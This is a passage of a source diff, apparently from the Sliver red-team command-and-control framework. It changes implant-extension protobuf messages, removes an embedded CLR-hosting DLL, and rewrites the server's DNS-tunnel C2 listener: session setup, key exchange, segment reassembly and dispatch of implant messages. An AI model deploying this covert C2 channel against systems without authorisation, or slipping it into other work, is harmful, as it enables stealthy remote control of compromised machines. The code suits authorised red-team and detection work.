bool UsedForAccess = 6;
|
||||
}
|
||||
|
||||
message GetPrivs {
|
||||
repeated WindowsPrivilegeEntry PrivInfo = 1;
|
||||
string ProcessIntegrity = 2;
|
||||
string ProcessName = 3;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
message RegisterExtensionReq {
|
||||
string Name = 1;
|
||||
bytes Data = 2;
|
||||
string OS = 3;
|
||||
string Init = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RegisterExtension {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message CallExtensionReq {
|
||||
string Name = 1;
|
||||
bool ServerStore = 2;
|
||||
bytes Args = 3;
|
||||
string Export = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message CallExtension {
|
||||
bytes Output = 1;
|
||||
bool ServerStore = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ListExtensionsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ListExtensions {
|
||||
repeated string Names = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
+1
-25
@@ -42,8 +42,7 @@ import (
|
||||
|
||||
const (
|
||||
// GoDirName - The directory to store the go compiler/toolchain files in
|
||||
GoDirName = "go"
|
||||
dllDirName = "dll"
|
||||
GoDirName = "go"
|
||||
|
||||
goPathDirName = "gopath"
|
||||
versionFileName = "version"
|
||||
@@ -76,12 +75,6 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetDllDir - Returns the full path to the data directory
|
||||
func GetDllDir() string {
|
||||
dir := path.Join(GetRootAppDir(), dllDirName)
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
@@ -110,7 +103,6 @@ func Setup(force bool, echo bool) {
|
||||
}
|
||||
setupGo(appDir)
|
||||
setupCodenames(appDir)
|
||||
setupDllPath(appDir)
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
}
|
||||
@@ -263,22 +255,6 @@ func SetupGoPath(goPathSrc string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// setupDllPath - Sets the data directory up
|
||||
func setupDllPath(appDir string) error {
|
||||
dataDir := GetDllDir()
|
||||
if _, err := os.Stat(dataDir); os.IsNotExist(err) {
|
||||
setupLog.Infof("Creating data directory: %s", dataDir)
|
||||
os.MkdirAll(dataDir, 0700)
|
||||
}
|
||||
hostingDll, err := assetsFs.ReadFile(path.Join("fs", "dll", "HostingCLRx64.dll"))
|
||||
if err != nil {
|
||||
setupLog.Info("failed to find the dll")
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(dataDir, "HostingCLRx64.dll"), hostingDll, 0600)
|
||||
return err
|
||||
}
|
||||
|
||||
func unzipGoDependency(fsPath string, targetPath string) error {
|
||||
setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
|
||||
|
||||
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/arm64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/linux/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/windows/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
Binary file not shown.
@@ -1,29 +0,0 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, b4rtik
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
+528
-231
@@ -16,50 +16,58 @@ package c2
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
------------------------------------------------------------------------
|
||||
|
||||
DNS command and control implementation
|
||||
|
||||
---
|
||||
DNS Tunnel Implementation
|
||||
*/
|
||||
|
||||
import (
|
||||
secureRand "crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
insecureRand "math/rand"
|
||||
"math"
|
||||
"net"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/protobuf/dnspb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"encoding/base32"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/pem"
|
||||
|
||||
secureRand "crypto/rand"
|
||||
"errors"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
sessionIDSize = 12
|
||||
|
||||
domainKeyMsg = "_domainkey"
|
||||
blockReqMsg = "b"
|
||||
clearBlockMsg = "cb"
|
||||
|
||||
sessionInitMsg = "si"
|
||||
sessionPollingMsg = "sp"
|
||||
sessionEnvelopeMsg = "se"
|
||||
|
||||
// Max TXT record is 255, records are b64 so (n*8 + 5) / 6 = ~250
|
||||
byteBlockSize = 185 // Can be as high as n = 187, but we'll leave some slop
|
||||
blockIDSize = 6
|
||||
@@ -70,59 +78,23 @@ var (
|
||||
|
||||
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
|
||||
|
||||
dnsSessionsMutex = &sync.RWMutex{}
|
||||
dnsSessions = map[string]*DNSSession{}
|
||||
|
||||
sendBlocksMutex = &sync.RWMutex{}
|
||||
sendBlocks = map[uint32]*Block{}
|
||||
sendBlocks = &map[string]*SendBlock{}
|
||||
|
||||
recvBlocksMutex = &sync.RWMutex{}
|
||||
recvBlocks = map[uint32]*Block{}
|
||||
dnsSessionsMutex = &sync.RWMutex{}
|
||||
dnsSessions = &map[string]*DNSSession{}
|
||||
|
||||
blockReassemblerMutex = &sync.RWMutex{}
|
||||
blockReassembler = &map[string][][]byte{}
|
||||
|
||||
dnsSegmentReassemblerMutex = &sync.RWMutex{}
|
||||
dnsSegmentReassembler = &map[string](*map[int][]string){}
|
||||
)
|
||||
|
||||
// Block - A blob of data that we're sending or receiving, blocks of data
|
||||
// are split up into arrays of bytes (chunks) that are encoded per-query
|
||||
// the amount of data that can be encoded into a single request or response
|
||||
// varies depending on the type of query and the length of the parent domain.
|
||||
type Block struct {
|
||||
ID uint32
|
||||
data [][]byte
|
||||
Size int
|
||||
Started time.Time
|
||||
Mutex sync.RWMutex
|
||||
}
|
||||
|
||||
func (b *Block) AddData(index int, data []byte) (bool, error) {
|
||||
b.Mutex.Lock()
|
||||
defer b.Mutex.Unlock()
|
||||
if len(b.data) < index+1 {
|
||||
return false, errors.New("Data index out of bounds")
|
||||
}
|
||||
b.data[index] = data
|
||||
sum := 0
|
||||
for _, data := range b.data {
|
||||
sum += len(data)
|
||||
}
|
||||
return sum == b.Size, nil
|
||||
}
|
||||
|
||||
func (b *Block) GetData(index int) ([]byte, error) {
|
||||
b.Mutex.Lock()
|
||||
defer b.Mutex.Unlock()
|
||||
if len(b.data) < index+1 {
|
||||
return nil, errors.New("Data index out of bounds")
|
||||
}
|
||||
return b.data[index], nil
|
||||
}
|
||||
|
||||
func (b *Block) Reassemble() []byte {
|
||||
b.Mutex.RLock()
|
||||
defer b.Mutex.RUnlock()
|
||||
data := []byte{}
|
||||
for _, block := range b.data {
|
||||
data = append(data, block...)
|
||||
}
|
||||
return data
|
||||
// SendBlock - Data is encoded and split into `Blocks`
|
||||
type SendBlock struct {
|
||||
ID string
|
||||
Data []string
|
||||
}
|
||||
|
||||
// DNSSession - Holds DNS session information
|
||||
@@ -163,10 +135,7 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
||||
return server
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Handler
|
||||
// ---------------------------
|
||||
// Handles all DNS queries, first we determine if the query is C2 or a canary
|
||||
// DNSRequest -> C2 or canary?
|
||||
func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
|
||||
if req == nil {
|
||||
dnsLog.Info("req can not be nil")
|
||||
@@ -189,6 +158,7 @@ func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter
|
||||
}
|
||||
|
||||
if resp != nil {
|
||||
// dnsLog.Debug(resp.String())
|
||||
writer.WriteMsg(resp)
|
||||
} else {
|
||||
dnsLog.Infof("Invalid query, no DNS response")
|
||||
@@ -207,9 +177,7 @@ func isC2SubDomain(domains []string, reqDomain string) (bool, string) {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// The query is C2, pass to the appropriate record handler this is done
|
||||
// so the record handler can encode the response based on the type of
|
||||
// record that was requested
|
||||
// C2 -> Record type?
|
||||
func handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
subdomain := req.Question[0].Name[:len(req.Question[0].Name)-len(domain)]
|
||||
if strings.HasSuffix(subdomain, ".") {
|
||||
@@ -219,26 +187,24 @@ func handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
switch req.Question[0].Qtype {
|
||||
case dns.TypeTXT:
|
||||
return handleTXT(domain, subdomain, req)
|
||||
case dns.TypeA:
|
||||
return handleA(domain, subdomain, req)
|
||||
default:
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// Canary Record Handler
|
||||
// ---------------------------
|
||||
// Canary -> valid? -> trigger alert event
|
||||
func handleCanary(req *dns.Msg) *dns.Msg {
|
||||
|
||||
reqDomain := strings.ToLower(req.Question[0].Name)
|
||||
if !strings.HasSuffix(reqDomain, ".") {
|
||||
reqDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
|
||||
canary, err := db.CanaryByDomain(reqDomain)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
if canary != nil {
|
||||
@@ -273,173 +239,179 @@ func handleCanary(req *dns.Msg) *dns.Msg {
|
||||
return resp
|
||||
}
|
||||
|
||||
func randomIP() net.IP {
|
||||
randBuf := make([]byte, 4)
|
||||
secureRand.Read(randBuf)
|
||||
|
||||
// Ensure non-zeros with various bitmasks
|
||||
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// C2 Record Handlers
|
||||
// ---------------------------
|
||||
// handles the c2 TXT record interactions, kind hacky this probably needs to get refactored at some point
|
||||
func handleTXT(domain string, subdomain string, req *dns.Msg) *dns.Msg {
|
||||
|
||||
q := req.Question[0]
|
||||
fields := strings.Split(subdomain, ".")
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
msgType := strings.ToLower(fields[len(fields)-1])
|
||||
|
||||
checksum, dnsMsg := parseC2Query(subdomain)
|
||||
if dnsMsg == nil {
|
||||
dnsLog.Errorf("Failed to parse TXT query")
|
||||
return nil
|
||||
switch msgType {
|
||||
|
||||
case domainKeyMsg: // Send PubKey - _(nonce).(slivername).domainkey.example.com
|
||||
result, err := getDomainKeyFor(domain)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
case blockReqMsg: // Get block: _(nonce).(start).(stop).(block id).b.example.com
|
||||
if len(fields) == 5 {
|
||||
startIndex := fields[1]
|
||||
stopIndex := fields[2]
|
||||
blockID := fields[3]
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: dnsSendBlocks(blockID, startIndex, stopIndex),
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
} else {
|
||||
dnsLog.Infof("Block request has invalid number of fields %d expected %d", len(fields), 5)
|
||||
}
|
||||
|
||||
case clearBlockMsg: // Clear block: _(nonce).(block id)._cb.example.com
|
||||
if len(fields) == 3 {
|
||||
result := 0
|
||||
if clearSendBlock(fields[1]) {
|
||||
result = 1
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: []string{fmt.Sprintf("%d", result)},
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
}
|
||||
|
||||
case "_" + sessionInitMsg:
|
||||
fallthrough
|
||||
case sessionInitMsg: // Session init: (data)...(seq).(nonce).(_)si.example.com
|
||||
result, err := startDNSSession(domain, fields)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
case "_" + sessionEnvelopeMsg:
|
||||
fallthrough
|
||||
case sessionEnvelopeMsg:
|
||||
result, err := dnsSessionEnvelope(domain, fields)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
case sessionPollingMsg:
|
||||
result, err := dnsSessionPoll(domain, fields)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Error during session init: %v", err)
|
||||
}
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: result,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
|
||||
default:
|
||||
dnsLog.Infof("Unknown msg type '%s' in TXT req", fields[len(fields)-1])
|
||||
}
|
||||
|
||||
// Execute action based on message type
|
||||
|
||||
txtRecords := []string{}
|
||||
|
||||
switch dnsMsg.Type {
|
||||
case dnspb.DNSMessageType_DOMAIN_KEY:
|
||||
blockID := handleDomainKeyQuery(domain, dnsMsg)
|
||||
data, _ := proto.Marshal(&dnspb.DNSMessage{
|
||||
N: checksum,
|
||||
Data: blockID,
|
||||
})
|
||||
record := string(new(encoders.Base64).Encode(data))
|
||||
txtRecords = append(txtRecords, record)
|
||||
}
|
||||
|
||||
txt := &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
|
||||
Txt: txtRecords,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
return resp
|
||||
}
|
||||
|
||||
func handleA(domain string, subdomain string, req *dns.Msg) *dns.Msg {
|
||||
q := req.Question[0]
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
// --------------------------- FIELDS ---------------------------
|
||||
|
||||
checksum, dnsMsg := parseC2Query(subdomain)
|
||||
if dnsMsg == nil {
|
||||
dnsLog.Errorf("Failed to parse A query")
|
||||
return nil
|
||||
func getFieldMsgType(fields []string) (string, error) {
|
||||
if len(fields) < 1 {
|
||||
return "", errors.New("Invalid number of fields in session init message (nonce)")
|
||||
}
|
||||
|
||||
switch dnsMsg.Type {
|
||||
case dnspb.DNSMessageType_NOP:
|
||||
break
|
||||
}
|
||||
|
||||
checksumBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(checksumBuf, checksum)
|
||||
resp.Answer = append(resp.Answer, &dns.A{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
|
||||
A: checksumBuf,
|
||||
})
|
||||
return resp
|
||||
return fields[len(fields)-1], nil
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// C2 Handler
|
||||
// ---------------------------
|
||||
// This parses the C2 message and performs actions based on the request
|
||||
// the response is a CRC32 of the encoded data in the message
|
||||
func parseC2Query(subdomain string) (uint32, *dnspb.DNSMessage) {
|
||||
subdomainData := strings.Join(strings.Split(subdomain, "."), "")
|
||||
dnsLog.Debugf("Subdomain = %v, Data = %v", subdomain, subdomainData)
|
||||
dnsMsg := decodeMessage(subdomainData)
|
||||
if dnsMsg == nil {
|
||||
return 0, nil
|
||||
func getFieldSessionID(fields []string) (string, error) {
|
||||
if len(fields) < 2 {
|
||||
return "", errors.New("Invalid number of fields in session init message (session id)")
|
||||
}
|
||||
checksum := crc32.Checksum(dnsMsg.Data, crc32.IEEETable)
|
||||
return checksum, dnsMsg
|
||||
sessionID := fields[len(fields)-2]
|
||||
if sessionID == "_" {
|
||||
return "", errors.New("Session ID is null")
|
||||
}
|
||||
return sessionID, nil
|
||||
}
|
||||
|
||||
func decodeMessage(subdomainData string) *dnspb.DNSMessage {
|
||||
encoders := detectEncoding(subdomainData)
|
||||
query := &dnspb.DNSMessage{}
|
||||
for _, encoder := range encoders {
|
||||
dnsLog.Debugf("Attempting to decode subdomain data with %v", encoder)
|
||||
data, err := encoder.Decode([]byte(subdomainData))
|
||||
if err != nil {
|
||||
dnsLog.Debugf("Decode attempt failed %s, continue ...", err)
|
||||
continue
|
||||
}
|
||||
err = proto.Unmarshal(data, query)
|
||||
if err != nil {
|
||||
dnsLog.Debugf("Failed to parse pb %s, continue ...", err)
|
||||
continue
|
||||
}
|
||||
return query
|
||||
func getFieldNonce(fields []string) (string, error) {
|
||||
if len(fields) < 3 {
|
||||
return "", errors.New("Invalid number of fields in session init message (nonce)")
|
||||
}
|
||||
return nil
|
||||
return fields[len(fields)-3], nil
|
||||
}
|
||||
|
||||
// This function attempts to detect the most likely encoder used by the implant
|
||||
// we return a list of encoders in order of most likely to least likely
|
||||
func detectEncoding(subdomainData string) []encoders.Encoder {
|
||||
|
||||
// Our version of base32 is missing chars: i, l, o, s
|
||||
// if any of these appear the message must be base62
|
||||
base62Chars := strings.ContainsAny(subdomainData, "silo") // "silo" simply appeases my spell checker
|
||||
if base62Chars {
|
||||
return []encoders.Encoder{new(encoders.Base62)}
|
||||
func getFieldSeq(fields []string) (int, error) {
|
||||
if len(fields) < 4 {
|
||||
return -1, errors.New("Invalid number of fields in session init message (seq)")
|
||||
}
|
||||
|
||||
// Okay now we detect if the message only contains lower case letters
|
||||
// our base32 encoder only uses lower case but a resolver could have
|
||||
// messed with the domain letter cases on the way over to us. So we
|
||||
// say it's likely base62 if it contains a mix but fallback to base32
|
||||
if strings.ContainsAny(subdomainData, "ABCDEFGHIJKLMNOPQRSTUVWXYZ") {
|
||||
return []encoders.Encoder{new(encoders.Base62), new(encoders.Base32)}
|
||||
} else {
|
||||
return []encoders.Encoder{new(encoders.Base32), new(encoders.Base64)}
|
||||
}
|
||||
}
|
||||
|
||||
// --------------------------- DNS HANDLERS ---------------------------
|
||||
func encodeSendBlock(domain string, data []byte) *Block {
|
||||
encodedData := new(encoders.Base64).Encode(data)
|
||||
blockData := [][]byte{}
|
||||
for index := 0; index < len(encodedData); {
|
||||
end := index + 254
|
||||
if len(encodedData) < end {
|
||||
end = len(encodedData)
|
||||
}
|
||||
blockData = append(blockData, encodedData[index:end])
|
||||
index += 254
|
||||
}
|
||||
return &Block{
|
||||
ID: blockID(),
|
||||
Size: len(data),
|
||||
data: blockData,
|
||||
Started: time.Now(),
|
||||
Mutex: sync.RWMutex{},
|
||||
}
|
||||
}
|
||||
|
||||
func handleDomainKeyQuery(domain string, query *dnspb.DNSMessage) []byte {
|
||||
domainKey, err := getDomainKeyFor(domain)
|
||||
rawSeq := fields[len(fields)-4]
|
||||
data, err := dnsDecodeString(rawSeq)
|
||||
if err != nil {
|
||||
dnsLog.Errorf("Failed to find domain key for '%s' %s", domain, err)
|
||||
return nil
|
||||
dnsLog.Infof("Failed to decode seq field: %#v", rawSeq)
|
||||
return 0, err
|
||||
}
|
||||
block := encodeSendBlock(domain, domainKey)
|
||||
sendBlocksMutex.Lock()
|
||||
defer sendBlocksMutex.Unlock()
|
||||
sendBlocks[block.ID] = block
|
||||
return []byte{}
|
||||
index := int(binary.LittleEndian.Uint32(data))
|
||||
|
||||
return index, nil
|
||||
}
|
||||
|
||||
func getFieldSubdata(fields []string) ([]string, error) {
|
||||
if len(fields) < 5 {
|
||||
return []string{}, errors.New("Invalid number of fields in session init message (subdata)")
|
||||
}
|
||||
subdataFields := len(fields) - 4
|
||||
dnsLog.Infof("Domain contains %d subdata fields", subdataFields)
|
||||
return fields[:subdataFields], nil
|
||||
}
|
||||
|
||||
// --------------------------- DNS SESSION START ---------------------------
|
||||
|
||||
// Returns an confirmation value (e.g. exit code 0 non-0) and error
|
||||
func startDNSSession(msgID uint32, domain string) ([]string, error) {
|
||||
func startDNSSession(domain string, fields []string) ([]string, error) {
|
||||
dnsLog.Infof("[start session] fields = %#v", fields)
|
||||
|
||||
msgType, err := getFieldMsgType(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
nonce, err := getFieldNonce(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(msgType, "_") {
|
||||
return dnsSegment(fields)
|
||||
}
|
||||
dnsLog.Infof("Complete session init message received, reassembling ...")
|
||||
|
||||
// TODO: We don't have replay protection against the RSA-encrypt
|
||||
// sessionInit messages, but I don't think it's an issue ...
|
||||
encryptedSessionInit, err := dnsSegmentReassemble(nonce)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to fetch RSA private key")
|
||||
@@ -480,7 +452,7 @@ func startDNSSession(msgID uint32, domain string) ([]string, error) {
|
||||
sessionID := dnsSessionID()
|
||||
dnsLog.Infof("Starting new DNS session with id = %s", sessionID)
|
||||
dnsSessionsMutex.Lock()
|
||||
dnsSessions[sessionID] = &DNSSession{
|
||||
(*dnsSessions)[sessionID] = &DNSSession{
|
||||
ID: sessionID,
|
||||
Session: session,
|
||||
Key: aesKey,
|
||||
@@ -489,16 +461,359 @@ func startDNSSession(msgID uint32, domain string) ([]string, error) {
|
||||
dnsSessionsMutex.Unlock()
|
||||
|
||||
encryptedSessionID, _ := cryptography.GCMEncrypt(aesKey, []byte(sessionID))
|
||||
result, err := dnsSendOnce(encryptedSessionID)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encode message into single result %v", err)
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// --------------------------- DNS SESSION RECV ---------------------------
|
||||
|
||||
func dnsSessionEnvelope(domain string, fields []string) ([]string, error) {
|
||||
dnsLog.Infof("[session envelope] fields = %#v", fields)
|
||||
|
||||
msgType, err := getFieldMsgType(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
nonce, err := getFieldNonce(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(msgType, "_") {
|
||||
return dnsSegment(fields)
|
||||
}
|
||||
dnsLog.Infof("Complete envelope received, reassembling ...")
|
||||
encryptedDNSEnvelope, err := dnsSegmentReassemble(nonce)
|
||||
if err != nil {
|
||||
return []string{"1"}, errors.New("Failed to reassemble segments")
|
||||
}
|
||||
|
||||
sessionID, err := getFieldSessionID(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
dnsSessionsMutex.Lock()
|
||||
defer dnsSessionsMutex.Unlock()
|
||||
|
||||
if dnsSession, ok := (*dnsSessions)[sessionID]; ok {
|
||||
dnsLog.Infof("Envelope has valid DNS session (%s)", dnsSession.ID)
|
||||
if dnsSession.isReplayAttack(encryptedDNSEnvelope) {
|
||||
dnsLog.Infof("WARNING: Replay attack detected, ignore request")
|
||||
return []string{"1"}, errors.New("Replay attack")
|
||||
}
|
||||
envelopeData, err := cryptography.GCMDecrypt(dnsSession.Key, encryptedDNSEnvelope)
|
||||
if err != nil {
|
||||
return []string{"1"}, errors.New("Failed to decrypt DNS envelope")
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
proto.Unmarshal(envelopeData, envelope)
|
||||
|
||||
dnsLog.Infof("Envelope Type = %#v RespID = %#v", envelope.Type, envelope.ID)
|
||||
|
||||
dnsSession.Session.UpdateCheckin()
|
||||
|
||||
// Response Envelope or Handler
|
||||
handlers := serverHandlers.GetSessionHandlers()
|
||||
if envelope.ID != 0 {
|
||||
dnsSession.Session.RespMutex.Lock()
|
||||
defer dnsSession.Session.RespMutex.Unlock()
|
||||
if resp, ok := dnsSession.Session.Resp[envelope.ID]; ok {
|
||||
resp <- envelope
|
||||
}
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
handler.(func(*core.Session, []byte))(dnsSession.Session, envelope.Data)
|
||||
}
|
||||
return []string{"0"}, nil
|
||||
}
|
||||
dnsLog.Infof("Invalid session id '%#v'", sessionID)
|
||||
return []string{"1"}, errors.New("Invalid session ID")
|
||||
}
|
||||
|
||||
// Client should have sent all of the data, attempt to reassemble segments
|
||||
func dnsSegmentReassemble(nonce string) ([]byte, error) {
|
||||
dnsSegmentReassemblerMutex.Lock()
|
||||
defer dnsSegmentReassemblerMutex.Unlock()
|
||||
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
|
||||
var keys []int
|
||||
for k := range *reasm {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Ints(keys)
|
||||
orderedSubdata := []string{}
|
||||
for _, k := range keys {
|
||||
orderedSubdata = append(orderedSubdata, (*reasm)[k]...)
|
||||
}
|
||||
data, err := dnsDecodeString(strings.Join(orderedSubdata, ""))
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to decode session init: %v", err)
|
||||
return nil, err
|
||||
}
|
